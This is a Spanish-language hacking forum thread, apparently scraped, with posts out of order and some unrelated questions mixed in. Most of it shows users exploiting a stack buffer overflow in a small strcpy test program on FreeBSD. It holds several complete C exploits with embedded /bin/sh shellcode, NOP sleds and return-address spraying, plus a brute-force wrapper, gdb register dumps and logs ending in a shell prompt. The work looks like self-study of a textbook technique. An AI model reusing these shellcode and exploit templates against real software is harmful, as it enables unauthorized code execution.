Mensajes

18/01/2008 a las 23:10 Aproximadamente hora local del foro, trate de acceder, y este no me respondio en unos 5 minutos... tal vez fue mi ISP a algun sistema intermedio pero la verdad me entro la duda, el foro fue atacado?

A alguien mas se le relentizo el acceso 

[RaiSe]

Si le entran, en el último estás metiendo 13 bytes, porque strcpy añade un null (0x00) al final, y por eso da segmentation fault. Eso que es con el gcc 4 o el 3?.

Gracias por confirmarmelo RaiSe definitivamente me la pase pensando en eso parte de la Tarde de ayer, y cai en la cuenta de que efectivamente el byte NULL (0x00), Ocupa el lugar numero 13 lo cual sobre escribre sobre los datos continuos de la Pila.

Si el binario antes mostrado que se corrompe con el byte numero 13 esta compilado con gcc 4.1.3

PD: El exploit que es para el vulnerable compilado con gcc 4 o el 3?

El ultimo exploit mostrado anteriormente esta hecho para aplicaciones con BoF compiladas con gcc 4.1.3 funciona en mi FreeBSD no se si funcion en Linux no tengo en este momento una distro instalada para comprobarlo, y todos los CD-Live que tengo manejan gcc 3.

Bien, despues de varios intentos he logrado explotar el Bof de zhynar_X, esta vez fue al 4to Intento

Código [Seleccionar] Expandir


%./eexploit_gcc41 40 300 200
Direcion Ret: 0xbfbfe800
Direcion Nop: 0xbfbfe7ce

Has escrito:
%./eexploit_gcc41 40 300 180
Direcion Ret: 0xbfbfe814
Direcion Nop: 0xbfbfe7e2

Has escrito:   迿迿迿迿迿迿迿迿迿迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 160
Direcion Ret: 0xbfbfe828
Direcion Nop: 0xbfbfe7f6

Has escrito:   (迿(迿(迿(迿(迿(迿(迿(迿(迿(迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿� 翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 140
Direcion Ret: 0xbfbfe83c
Direcion Nop: 0xbfbfe80a

Has escrito:   <迿<迿<迿<迿<迿<迿<迿<迿<迿<迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
$                                                   


El primer intento con el exploit para los BoF compilados con gcc 4.1.3 que mostre, funciona perfectamente tambien en mi sistema pero esto estando en Modo terminal, sin modo grafico.

La funcionalidad del exploit cambia ya que la funcion:

Código (c) [Seleccionar] Expandir

unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

abquiere un valor de la pila actual en un momento determinado del sistema, y este valor cambia dependiendo de la cantidad de programas que esten en ejecucion en ese momento.

[ubermensch2k]

Yo tendria otra idea para este tipo de cosas, un poco diferente.

buenas,

pretendo hacer un programa que juegue por si mismo a un programilla de blackjack que tengo aqui, pero la verdad que no tengo idea de como hacer para reconocer las cartas de la pantalla del programa  . Con la clase robot puedo mover el raton y hacer los clicks para ejecutar las acciones eso es sencillo, pero como interpretar el numero de las cartas, necesario para saber que accion tomar en el juego?? Alguna idea??

Gracias 

Bien que tal ubermensch2k, creo que en realidad quieres, es hacer que la compuradora juege sola con siguo misma,usando un programa de terceros.

A mi punto de vista yo creo que lo que es verdaderamente interesante es hacer el algoritmo para que se pueda jugar automaticamente. Tener las reglas bien en claro.

Tendriamos que tener primeramente, No se si ya tienes lo que acontinuacion voy la mencionar por eso lo pongo.
Clase Carta.
Clase Judador, el cual puede ser un usuario o la computadora
Clase Tablero o Mesa, en la cual las clases anteriores se ejecuten esta seria la que meneje los graficos y todo eso.

Una vez hecho esto, (teniendo las reglas del juego y que la clase jugador tome las mejores deciciones) todo deberia de estar bien solo faltaria el graficon que quieres obtener de un programa de terceros..

Espero y esto te ayude, saludos.

[Ragnarok]

Saludos gracias a que no me explique bien, Ragnarok me bloqueo el otro Tema que tenia en Modalidades de Codigo? pero bueno ya que le hacemos, esta en su derecho no por nada es Moderador Global

Tu mensaje no se entiende en absoluto, primero pones el símbolo #, luego el %, luego un código vacío y luego otro que no usa ninguno de los símbolos que has mencionado. Tampoco dices por qué lenguaje estás preguntando ni nada. Mira a ver si quieres esto y si no lo preguntas bien.

Bien mi duda se presenta a hora de usar el Tag [ c o d e] [ / c o d e], que cuando lo utilizas sin nada te pone el codigo simple, ahora si le agregas code=c, te lo pone con colores y todo,

Mi pregunta es la siguiente:

Que otros codigos te puede Remarcar el TAG de Code ???

Ensamblador, PHP, JAVA, shellScript    Agradeceria su apoyo.

Gracias de Antemano.   

Algo que note, y la verdad no se si sea la version de mi gcc es que no le caben los 12 bytes reservados mirar

Código [Seleccionar] Expandir


%./codigo AAAA

Has escrito:   AAAA
%./codigo AAAABBBB

Has escrito:   AAAABBBB
%./codigo AAAABBBBCCC

Has escrito:   AAAABBBBCCC
%./codigo AAAABBBBCCCC

Has escrito:   AAAABBBBCCCC
Segmentation fault



A ver si alguien nos puede hechar lamano con esto, de todos modos yo lo vere con mas calma.

[zhynar_X]

Bien, despues de varios intentos he logrado explotar el Bof de zhynar_X, esta vez fue al 4to Intento

Código [Seleccionar] Expandir


%gcc -o eexploit_gcc41 eexploit_gcc41.c -ggdb -static
%./eexploit_gcc41 40 300 200
Direcion Ret: 0xbfbfe800
Direcion Nop: 0xbfbfe7ce

Has escrito:
%./eexploit_gcc41 40 300 180
Direcion Ret: 0xbfbfe814
Direcion Nop: 0xbfbfe7e2

Has escrito:   迿迿迿迿迿迿迿迿迿迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 160
Direcion Ret: 0xbfbfe828
Direcion Nop: 0xbfbfe7f6

Has escrito:   (迿(迿(迿(迿(迿(迿(迿(迿(迿(迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿� 翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 140
Direcion Ret: 0xbfbfe83c
Direcion Nop: 0xbfbfe80a

Has escrito:   <迿<迿<迿<迿<迿<迿<迿<迿<迿<迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
$                                                   


Fue tal vez exesivo pero ya que  al fin se pudo. He aqui el xploit.

Código (c) [Seleccionar] Expandir


#include<stdio.h>
#define NOP 0x90

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

int  main(int argc, char *argv[])       {
        FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
        unsigned long nop_addr;
unsigned long ret_addr;
        int offset = 0;
int size,bof,i,len;

        if (argc!=4)    {
printf("Crea \n");
                printf("Uso: %s <size_BOF_buffer> <size_evil_buffer> <desplazamiento>\n", argv[0]);
                return 0;
        }

        offset  = atoi(argv[3]);
bof = atoi(argv[1]);
size = atoi(argv[2]);

        buffer = calloc(size,sizeof(char));
        ret_addr = get_esp() - offset;
nop_addr = ret_addr - 50;

        for (i = 0; i < (bof/4); i++)
                *((long*)buffer + i) = ret_addr;

long temp =  (long)buffer + bof;

for (i = 0; i < ((size-bof)/4); i++)
*((long*)temp + i) = nop_addr;

        for (i = 0; i < size - bof; i++)
                buffer[bof + 60 + i] = NOP;

len = strlen(shellcode);

        for (i = 0; i < len + 1; i++)
                *(buffer + size - len - 1 + i ) = shellcode[i];

        buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",ret_addr);
printf("Direcion Nop: 0x%x\n",nop_addr);
//printf("Cadena:\n%s\n",buffer);
        execv(vuln[0],vuln);
        return 0;
}


Cualquier duda con cuaquiel cosa seguir el hilo.

[zhynar_X]

AHUEVO que funciona.... por lo menos yo no lo havia visto asi 

Este exploit funciona para el buffers pequeños, y funciono a la primera para el codigo de  zhynar_X

eexploit2.c

Código [Seleccionar] Expandir


#include<stdio.h>
#define NOP 0x90

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

int  main(int argc, char *argv[])       {
        FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
        long  nop_addr;
        int offset = 0;
int size;
int bof;
        int i;
        if (argc!=4)    {
printf("Crea \n");
                printf("Uso: %s <size_BOF_buffer> <size_evil_buffer> <desplazamiento>\n", argv[0]);
                return 0;
        }

        offset  = atoi(argv[3]);
bof = atoi(argv[1]);
size = atoi(argv[2]);

        buffer = calloc(size,sizeof(char));
        nop_addr = get_esp() - offset;

        for (i = 0; i < (bof/4); i++)
                *((long*)buffer + i) = nop_addr;

        for (i = 0; i < size - bof; i++)
                buffer[bof + i] = NOP;

        for (i = 0; i < strlen(shellcode); i++)
                *(buffer + size/2 + i ) = shellcode[i];

        buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",nop_addr);
        execv(vuln[0],vuln);
        return 0;
}


Código [Seleccionar] Expandir


%gcc -o eexploit2 eexploit2.c
%./eexploit
Crea un archivo con el EGG
Uso: ./eexploit <desplazamiento>
%./eexploit2
Crea
Uso: ./eexploit2 <size_BOF_buffer> <size_evil_buffer> <desplazamiento>
%./eexploit2 40 300 200
Direcion Ret: 0xbfbfe810

Has escrito:   迿迿迿迿迿迿迿迿迿迿��������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P����������������������������������������������������������������������������������������������������������������������������
$ exit
%


           


El buffer quedaria asi:

RET'ssss + NOP'ssssssss + shellcode. + NOP'sssss

la version del codigo vulnerable que explote, fue compilada con gcc 3.4.6

Ahora solo resta explotar el codigo compilado con el gcc 4.1

[eexploit.c]

Bien, ahora tengo 2 o mas problemas entre mano, la verdad me obseciona demasiado este tema.

trate de explotar el codigo mostrado por zhynar_X, sin embargo no he tenido mucho exito 

El codigo vulnerable es:

Código (c) [Seleccionar] Expandir


#include <stdio.h>
#include <string.h>


int main(int argc, char **argv) {


char buff[12];
strcpy(buff,argv[1]);
printf("\nHas escrito:   %s\n",buff);

return 0;


}


BIen creo que con lo que mostrare a continuacion resolvere una dudas sobre como meter una dirccion  en el ret, atravez de la cadena de ingreso. al programa vulnerable.

Es decir... como meto un offset en un string??

Saludos

Bien eso se hace de muchas maneras puedes crear un archivo con el buffer y despues hacer un cat

Código [Seleccionar] Expandir


% ./codigo `cat evilbuffer.txt`


Puedes usar perl, un exploit, shell scritp, pyton, variables de Entorno etc, lo que mejor se te de, pero si sabes programar en C, recomiendo encarecidamente C.

Hice un exploit para tu codigo y no funciona.  ya me trae como loco, he aqui el exploit


eexploit.c

Código (c) [Seleccionar] Expandir


#include<stdio.h>
#define NOP 0x90

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

int  main(int argc, char *argv[])       {
        FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
        long  nop_addr;
        int offset = 0;
int size = 40;
        int i;
        if (argc!=2)    {
printf("Crea un archivo con el EGG\n");
                printf("Uso: %s <desplazamiento>\n", argv[0]);
                return 0;
        }

        offset  = atoi(argv[1]);
        buffer = calloc(size,sizeof(char));
        nop_addr = get_esp() - offset;

        for (i = 0; i < (size/4); i++)
                *((long*)buffer + i) = nop_addr;

        for (i = 0; i < size/2; i++)
                buffer[i] = NOP;

        for (i = 0; i < strlen(shellcode); i++)
                *(buffer + 3 +i ) = shellcode[i];

        buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",nop_addr);
        execv(vuln[0],vuln);
        return 0;
}



Bien estoy seguro que el codigo vulnerable que compile con el gcc 3.4.6 en cual si le mandamos de AAAABBBBCCCC.... se atora en la H

Código [Seleccionar] Expandir

%gdb ./codigo
GNU gdb 6.1.1 [FreeBSD]
.............
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) printf "%c\n", 0x48
H

de la A a la G hay 28 espacios disponibles lo que hace el exploit que cree, es pide un offset, para jugar con el desplazamiento... ya saben lo clasico de  Aleph One

Con este espacio tan reducido todo tiene que estar mas que calculado. y el buffer que se manda a la aplicacion vulnerable, es en si lo siguente

3 NOP's
25 bytes de Shellcode
3 veces la direccion de retorno (4 bytes de cada una) para un total del buffer de 40 bytes, aunque solo sea nesesaria la Primera como vimos.

Despues ejecute el exploit manualmente y me enfade 

Código [Seleccionar] Expandir


%./eexploit 20
Direcion Ret: 0xbfbfe8d4

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 30
Direcion Ret: 0xbfbfe8ca

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 120
Direcion Ret: 0xbfbfe870

Has escrito:   ���1�Ph//shh/bin��PSPTS�;Pp迿p迿p��
Segmentation fault
%./eexploit 200
Direcion Ret: 0xbfbfe820

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P 迿 迿 ��
Segmentation fault



asi que genere otro archivo en c para poder ejecutar el exploit con todas las direcciones posibles

xploitforcebrute.c

Código (c) [Seleccionar] Expandir


#include<stdio.h>

int main(void) {
int i = 0;
char *explo = "/usr/home/luis/eexploit";
char *buffer= (char*) calloc(40,sizeof(char));
while(i<1000) {
printf("Usando: %d\n",i);
sprintf(buffer,"%s %d",explo,i);
system(buffer);
i++;
}
}



Y nada  , se tiene que poder pero no se si algo este mal, si alguien nota algo por favor que lo mensione aqui, por eso repito que lo buffers peque;os estan dificiles de explotar, pero si cabe el shellcode, y la direccion de retorno, estoy con que se debe de poder.

Mi gcc es el 4.1 . La verdad es que tiene más pinta de ser del gcc, que de Linux especificamente. Sería interesante probar un gcc más actual en Freebsd y mirar si hace lo mismo o no. Un saludo.

Si efectivamente es la version de gcc

Código [Seleccionar] Expandir


%gcc41 codigo.c -o codigo -ggdb -static
%gdb codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) disas main
Dump of assembler code for function main:
0x080481b0 <main+0>:    lea    0x4(%esp),%ecx
0x080481b4 <main+4>:    and    $0xfffffff0,%esp
0x080481b7 <main+7>:    pushl  0xfffffffc(%ecx)
0x080481ba <main+10>:   push   %ebp
0x080481bb <main+11>:   mov    %esp,%ebp
0x080481bd <main+13>:   push   %ecx
0x080481be <main+14>:   sub    $0x14,%esp
0x080481c1 <main+17>:   mov    0x4(%ecx),%eax
0x080481c4 <main+20>:   add    $0x4,%eax
0x080481c7 <main+23>:   mov    (%eax),%eax
0x080481c9 <main+25>:   sub    $0x8,%esp
0x080481cc <main+28>:   push   %eax
0x080481cd <main+29>:   lea    0xfffffff0(%ebp),%eax
0x080481d0 <main+32>:   push   %eax
0x080481d1 <main+33>:   call   0x8049734 <strcpy>
0x080481d6 <main+38>:   add    $0x10,%esp
0x080481d9 <main+41>:   sub    $0x8,%esp
0x080481dc <main+44>:   lea    0xfffffff0(%ebp),%eax
0x080481df <main+47>:   push   %eax
0x080481e0 <main+48>:   push   $0x805b46a
0x080481e5 <main+53>:   call   0x8049700 <printf>
0x080481ea <main+58>:   add    $0x10,%esp
0x080481ed <main+61>:   mov    $0x0,%eax
0x080481f2 <main+66>:   mov    0xfffffffc(%ebp),%ecx
0x080481f5 <main+69>:   leave
0x080481f6 <main+70>:   lea    0xfffffffc(%ecx),%esp
0x080481f9 <main+73>:   ret
End of assembler dump.
(gdb) list
1       #include <stdio.h>
2       #include <string.h>
3
4
5       int main(int argc, char **argv) {
6
7
8               char buff[12];
9               strcpy(buff,argv[1]);
10              printf("\nHas escrito:   %s\n",buff);
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD

Program received signal SIGSEGV, Segmentation fault.
0x080481f9 in main (argc=Error accessing memory address 0x44444444: Bad address.
) at codigo.c:15
15      }
(gdb) info register
eax            0x0      0
ecx            0x44444444       1145324612
edx            0x3e     62
ebx            0x2      2
esp            0x44444440       0x44444440
ebp            0x45454545       0x45454545
esi            0xbfbfe958       -1077941928
edi            0x0      0
eip            0x80481f9        0x80481f9
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) printf "%c\n", 0x44
D



Bien ahora se atora en la D, dejo exactamente los 12 bytes de Buffer  , que optimizacion tan cabrona, lo voy a analizar detenidamente para ver que hace exactamente. y poder dar con la forma de explotarlo, pero eso si va a ser imposible que se meta una shellcode en esos 12 bytes... 

Almenos que    huy no lo habia visto es una idea bien loca a lo mejor a alguien ya se le ocurrio, pero bueno se me acaba de ocurrir ahorita que es posible sobre escribir todo los datos y mandar el shell code hasta el final ejemplo del buffer:

AAAAAAAAAAAA + RET'ssss + NOP'ssssssss + shellcode.

esto en Lugar del clasico

NOP'ssssssss + Shellcode + RET'sssss

Lo probare ahora mismo.

[zhynar_X]

viene predeterminada con el sistema  , es la 3.4.6, mirar:

Código [Seleccionar] Expandir

%gcc -v
Using built-in specs.
Configured with: FreeBSD/i386 system compiler
Thread model: posix
gcc version 3.4.6 [FreeBSD] 20060305


No sabia que ahora linux tubiese ese problema... a partir de que version de ; kernel salio eso, alquien tiene  el link. ?

tendre que modificar mis exploits para linux, si se trata de un BOF dentro de main 


Hey zhynar_X, que kernel de Linux usa tu Debian ? y cual es la version de gcc ? para poder verificar todas las dudas aqui susitadas.

En FreeBSD no sé si hace lo de salvar el esp o no, pero seguro que intenta saltar a 0x48484848?, no será que hace un ret con esp = 0x48484848 o algo parecido?. Para salir de dudas:

x/1i $eip

En el momento que da el sigsegv. Un saludo.

Mira, estoy seguro que hace algo, sin embargo todavia no estoy completamente seguro de que hace, despues del prolog, ejecuta cosas que ni al caso pero bueno, preguntemosle esto a los que hacen gcc 

Código [Seleccionar] Expandir

(gdb) disas main
Dump of assembler code for function main:
0x080481b4 <main+0>:    push   %ebp
0x080481b5 <main+1>:    mov    %esp,%ebp
0x080481b7 <main+3>:    sub    $0x18,%esp
0x080481ba <main+6>:    and    $0xfffffff0,%esp
0x080481bd <main+9>:    mov    $0x0,%eax
0x080481c2 <main+14>:   add    $0xf,%eax
0x080481c5 <main+17>:   add    $0xf,%eax
0x080481c8 <main+20>:   shr    $0x4,%eax
0x080481cb <main+23>:   shl    $0x4,%eax
0x080481ce <main+26>:   sub    %eax,%esp
0x080481d0 <main+28>:   sub    $0x8,%esp
0x080481d3 <main+31>:   mov    0xc(%ebp),%eax
0x080481d6 <main+34>:   add    $0x4,%eax
0x080481d9 <main+37>:   pushl  (%eax)
0x080481db <main+39>:   lea    0xffffffe8(%ebp),%eax
0x080481de <main+42>:   push   %eax
0x080481df <main+43>:   call   0x804973c <strcpy>
0x080481e4 <main+48>:   add    $0x10,%esp
0x080481e7 <main+51>:   sub    $0x8,%esp
0x080481ea <main+54>:   lea    0xffffffe8(%ebp),%eax
0x080481ed <main+57>:   push   %eax
0x080481ee <main+58>:   push   $0x805b46a
0x080481f3 <main+63>:   call   0x8049708 <printf>
0x080481f8 <main+68>:   add    $0x10,%esp
0x080481fb <main+71>:   mov    $0x0,%eax
0x08048200 <main+76>:   leave
0x08048201 <main+77>:   ret
End of assembler dump.

Si lo sobre escribe el eip

Código [Seleccionar] Expandir

(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) x/1 $eip
0x48484848:     Error accessing memory address 0x48484848: Bad address.


y tambien el ebp, pero ese no hay mucho que decir... mirar:

Código [Seleccionar] Expandir

(gdb) info register
eax            0x0      0
ecx            0x0      0
edx            0x35     53
ebx            0x2      2
esp            0xbfbfe910       0xbfbfe910
ebp            0x47474747       0x47474747
esi            0xbfbfe960       -1077941920
edi            0x0      0
eip            0x48484848       0x48484848
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb)


Ok salimos de Dudas...